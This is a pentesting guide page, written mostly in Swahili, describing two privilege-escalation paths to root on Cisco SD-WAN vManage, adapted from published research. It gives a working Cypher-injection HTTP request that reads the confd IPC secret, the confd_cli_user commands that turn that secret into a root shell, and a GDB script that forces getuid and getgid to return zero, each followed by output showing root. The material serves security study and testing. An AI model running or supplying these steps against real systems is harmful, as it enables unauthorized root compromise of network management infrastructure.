Cisco - vmanage

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Path 1

(Esimu kutoka https://www.synacktiv.com/en/publications/pentesting-cisco-sd-wan-part-1-attacking-vmanage.html)

Baada ya kuchimba kidogo kupitia baadhi ya nyaraka zinazohusiana na confd na binaries tofauti (zinazopatikana kwa akaunti kwenye tovuti ya Cisco), tuligundua kwamba ili kuthibitisha socket ya IPC, inatumia siri iliyoko katika /etc/confd/confd_ipc_secret:

vmanage:~$ ls -al /etc/confd/confd_ipc_secret

-rw-r----- 1 vmanage vmanage 42 Mar 12 15:47 /etc/confd/confd_ipc_secret

Kumbuka mfano wetu wa Neo4j? Inafanya kazi chini ya ruhusa za mtumiaji vmanage, hivyo inaturuhusu kupata faili hiyo kwa kutumia udhaifu wa awali:

GET /dataservice/group/devices?groupId=test\\\'<>\"test\\\\\")+RETURN+n+UNION+LOAD+CSV+FROM+\"file:///etc/confd/confd_ipc_secret\"+AS+n+RETURN+n+//+' HTTP/1.1

Host: vmanage-XXXXXX.viptela.net



[...]

"data":[{"n":["3708798204-3215954596-439621029-1529380576"]}]}

Programu ya confd_cli haisaidii hoja za amri za mstari lakini inaita /usr/bin/confd_cli_user kwa hoja. Hivyo, tunaweza kuitisha moja kwa moja /usr/bin/confd_cli_user kwa seti zetu za hoja. Hata hivyo, haiwezi kusomwa na haki zetu za sasa, hivyo tunapaswa kuipata kutoka rootfs na kuikopi kwa kutumia scp, kusoma msaada, na kuitumia kupata shell:

vManage:~$ echo -n "3708798204-3215954596-439621029-1529380576" > /tmp/ipc_secret

vManage:~$ export CONFD_IPC_ACCESS_FILE=/tmp/ipc_secret

vManage:~$ /tmp/confd_cli_user -U 0 -G 0

Welcome to Viptela CLI

admin connected from 127.0.0.1 using console on vManage

vManage# vshell

vManage:~# id

uid=0(root) gid=0(root) groups=0(root)

Path 2

(Example from https://medium.com/walmartglobaltech/hacking-cisco-sd-wan-vmanage-19-2-2-from-csrf-to-remote-code-execution-5f73e2913e77)

Blogu¹ ya timu ya synacktiv ilielezea njia ya kuvutia ya kupata root shell, lakini tatizo ni kwamba inahitaji kupata nakala ya /usr/bin/confd_cli_user ambayo inaweza kusomwa tu na root. Nilipata njia nyingine ya kupandisha hadhi hadi root bila usumbufu kama huo.

Nilipokata /usr/bin/confd_cli binary, niliona yafuatayo:

vmanage:~$ objdump -d /usr/bin/confd_cli
… snipped …
40165c: 48 89 c3              mov    %rax,%rbx
40165f: bf 1c 31 40 00        mov    $0x40311c,%edi
401664: e8 17 f8 ff ff        callq  400e80 <getenv@plt>
401669: 49 89 c4              mov    %rax,%r12
40166c: 48 85 db              test   %rbx,%rbx
40166f: b8 dc 30 40 00        mov    $0x4030dc,%eax
401674: 48 0f 44 d8           cmove  %rax,%rbx
401678: 4d 85 e4              test   %r12,%r12
40167b: b8 e6 30 40 00        mov    $0x4030e6,%eax
401680: 4c 0f 44 e0           cmove  %rax,%r12
401684: e8 b7 f8 ff ff        callq  400f40 <getuid@plt>  <-- HERE
401689: 89 85 50 e8 ff ff     mov    %eax,-0x17b0(%rbp)
40168f: e8 6c f9 ff ff        callq  401000 <getgid@plt>  <-- HERE
401694: 89 85 44 e8 ff ff     mov    %eax,-0x17bc(%rbp)
40169a: 8b bd 68 e8 ff ff     mov    -0x1798(%rbp),%edi
4016a0: e8 7b f9 ff ff        callq  401020 <ttyname@plt>
4016a5: c6 85 cf f7 ff ff 00  movb   $0x0,-0x831(%rbp)
4016ac: 48 85 c0              test   %rax,%rax
4016af: 0f 84 ad 03 00 00     je     401a62 <socket@plt+0x952>
4016b5: ba ff 03 00 00        mov    $0x3ff,%edx
4016ba: 48 89 c6              mov    %rax,%rsi
4016bd: 48 8d bd d0 f3 ff ff  lea    -0xc30(%rbp),%rdi
4016c4:   e8 d7 f7 ff ff           callq  400ea0 <*ABS*+0x32e9880f0b@plt>
… snipped …

Wakati ninapokimbia “ps aux”, niliona yafuatayo (note -g 100 -u 107)

vmanage:~$ ps aux
… snipped …
root     28644  0.0  0.0   8364   652 ?        Ss   18:06   0:00 /usr/lib/confd/lib/core/confd/priv/cmdptywrapper -I 127.0.0.1 -p 4565 -i 1015 -H /home/neteng -N neteng -m 2232 -t xterm-256color -U 1358 -w 190 -h 43 -c /home/neteng -g 100 -u 1007 bash
… snipped …

Niliweka dhana kwamba programu ya “confd_cli” inapita kitambulisho cha mtumiaji na kitambulisho cha kundi ilichokusanya kutoka kwa mtumiaji aliyeingia kwenye programu ya “cmdptywrapper”.

Jaribio langu la kwanza lilikuwa kuendesha “cmdptywrapper” moja kwa moja na kuipatia -g 0 -u 0, lakini lilishindwa. Inaonekana kuwa descriptor ya faili (-i 1015) iliundwa mahali fulani kwenye mchakato na siwezi kuigiza.

Kama ilivyotajwa kwenye blogu ya synacktiv (mfano wa mwisho), programu ya confd_cli haisaidii hoja za mstari wa amri, lakini naweza kuathiri hiyo kwa kutumia debugger na kwa bahati GDB imejumuishwa kwenye mfumo.

Nilitengeneza skripti ya GDB ambapo nililazimisha API getuid na getgid kurudisha 0. Kwa kuwa tayari nina ruhusa ya “vmanage” kupitia RCE ya deserialization, nina ruhusa ya kusoma /etc/confd/confd_ipc_secret moja kwa moja.

root.gdb:

set environment USER=root
define root
finish
set $rax=0
continue
end
break getuid
commands
root
end
break getgid
commands
root
end
run

Matokeo ya Kihesabu:

vmanage:/tmp$ gdb -x root.gdb /usr/bin/confd_cli
GNU gdb (GDB) 8.0.1
Copyright (C) 2017 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-poky-linux".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from /usr/bin/confd_cli...(no debugging symbols found)...done.
Breakpoint 1 at 0x400f40
Breakpoint 2 at 0x401000Breakpoint 1, getuid () at ../sysdeps/unix/syscall-template.S:59
59 T_PSEUDO_NOERRNO (SYSCALL_SYMBOL, SYSCALL_NAME, SYSCALL_NARGS)
0x0000000000401689 in ?? ()Breakpoint 2, getgid () at ../sysdeps/unix/syscall-template.S:59
59 T_PSEUDO_NOERRNO (SYSCALL_SYMBOL, SYSCALL_NAME, SYSCALL_NARGS)
0x0000000000401694 in ?? ()Breakpoint 1, getuid () at ../sysdeps/unix/syscall-template.S:59
59 T_PSEUDO_NOERRNO (SYSCALL_SYMBOL, SYSCALL_NAME, SYSCALL_NARGS)
0x0000000000401871 in ?? ()
Welcome to Viptela CLI
root connected from 127.0.0.1 using console on vmanage
vmanage# vshell
bash-4.4# whoami ; id
root
uid=0(root) gid=0(root) groups=0(root)
bash-4.4#

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